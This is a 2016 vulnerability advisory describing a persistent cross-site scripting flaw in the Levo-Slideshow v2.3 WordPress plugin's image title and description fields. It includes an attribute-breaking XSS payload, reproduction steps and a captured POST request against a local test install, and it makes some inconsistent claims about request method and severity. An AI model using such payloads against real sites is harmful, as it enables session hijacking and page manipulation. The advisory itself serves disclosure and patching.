Document Title: =============== Wordpress Levo-Slideshow v2.3 - Persistent Vulnerability References (Source): ==================== Release Date: ============= 2016-06-06 Vulnerability Laboratory ID (VL-ID): ==================================== 1855 Common Vulnerability Scoring System: ==================================== 2.5 Product & Service Introduction: =============================== Make sure you have a Levo slideshow a very effective technique to display unlimited number of product images within a single box and just takes only few minutes to accomplish without getting too much into coding. No WP slider plugin has become as wide-spread and as popular recently as this particular free WP Levo slider, offering a marvelous method for displaying a lot of content in such a minimal space, and to mention also a great way to highlight your best and most popular product images or articles in an enhanced way. And on top off all that, this indispensable, yet smooth and free WP slider plugin is incorporated with amazing set of features including a colossal space set aside to main flash image, a miniature sized image, image reflection option, description box with title, navigation arrows, auto-play/pause button, auto play timer into your WP powered websites or blogs. (Copy of the Homepage: ) Abstract Advisory Information: ============================== An independent Vulnerability Laboratory Researcher discovered a persistent cross site scripting vulnerability in the official Levo-Slideshow v2.3 wordpress plugin. Vulnerability Disclosure Timeline: ================================== 2016-06-06: Public Disclosure (Aaditya Purani) Discovery Status: ================= Published Affected Product(s): ==================== Go Responsive (Themes) Product: Levo-Slideshow - Wordpress Plugin (Web-Application) 2.3 Exploitation Technique: ======================= Remote Severity Level: =============== Low Technical Details & Description: ================================ A persistent cross site scripting web vulnerabilities has been discovered in the official Levo-Slideshow v2.3 wordpress plugin. The client-side validation issue allows remote attacker to inject client-side script codes to compromise browser to application requests. The vulnerability is located in the `image_description`parameter of the `Lenvo Image Upload` module. Remote attackers are able to inject client-side script code. The `image_description` value is wrong encoded and not filtered by the regular validation. The attack vector of the issue is client-side and the request method to execute is GET. The security risk of the client-side vulnerabilities is estimated as medium with a cvss (common vulnerability scoring system) count of 2.5. Exploitation of the security vulnerability requires no a privileged web-application user account and low user interaction. Successful exploitation of the vulnerabilities results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent load of malicious script codes or non-persistent web module context manipulation. Request Method(s): [+] POST Vulnerable Input(s): [+] Image Title [+] Image Description Affected Module(s): [+] Edit Post Proof of Concept (PoC): ======================= The persistent cross site scripting vulnerability can be exploited by remote attackers without user interaction and with an uprivileged application user account. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Payload t" onmouseover=alert(document.domain); a=' Manual steps to reproduce the vulnerability ... 1. Go to Levo Slideshow and click to Manage Images 2. Add an Image Include to the Image Title input and script code payload enter the payload as follows Note: t" onmouseover=alert(document.domain); a=' 3. Save it and Reload the Page and Game over. :) --- PoC Session Logs [POST] --- $GET: http://localhost:8080/wordpress/wp-admin/ Host: localhost:8080 User-Agent: {Some User-Agent} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8080/wordpress/wp-content/plugins/wp-levoslideshow/html/edit_image.php?album_id=1&lvo_image_id=2&KeepThis=true& Cookie: {USERS COOKIE} Connection: keep-alive Content-Type: multipart/form-data; boundary= ---------------------------5673975277815470452141444322 Content-Length: 1370 If-Modified-Since: * $POST : -----------------------------5673975277815470452141444322rn Content-Disposition: form-data; name="task"rn rn lvo_single_image_uploadrn -----------------------------5673975277815470452141444322rn Content-Disposition: form-data; name="TB_iframe"rn rn 1rn -----------------------------5673975277815470452141444322rn Content-Disposition: form-data; name="album_id"rn rn 1rn -----------------------------5673975277815470452141444322rn Content-Disposition: form-data; name="image_id"rn rn 2rn -----------------------------5673975277815470452141444322rn Content-Disposition: form-data; name="image_thumb"rn rn generatern -----------------------------5673975277815470452141444322rn Content-Disposition: form-data; name="image_title"rn rn t" onmouseover=alert(document.domain); a='rn -----------------------------5673975277815470452141444322rn Content-Disposition: form-data; name="image_description"rn rn t" onmouseover=alert(document.domain); a='rn -----------------------------5673975277815470452141444322rn Content-Disposition: form-data; name="image_link"rn rn rn -----------------------------5673975277815470452141444322rn Content-Disposition: form-data; name="thumb_link"rn rn rn -----------------------------5673975277815470452141444322rn Content-Disposition: form-data; name="image_file"; filename=""rn Content-Type: application/octet-streamrn rn rn -----------------------------5673975277815470452141444322--rn Note: After this gets saved, Go to http://localhost:8080/wordpress/wp-admin/admin.php?page=levoslideshow_manage&view=manage_album&album_id={Your Album where you saved} And than Click on Edit, it will Trigger :) .Click the dit button to trigger the payload execution. Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable marked input fields. Encode all inputs and restrict the input by disallowing the usage of special chars to prevent application-side injection attacks. Security Risk: ============== The security risk of the persistent cross site scripting web vulnerability in the wordpress plugin is estimated as low. (CVSS 2.5) Credits & Authors: ================== Aaditya Purani - ( [] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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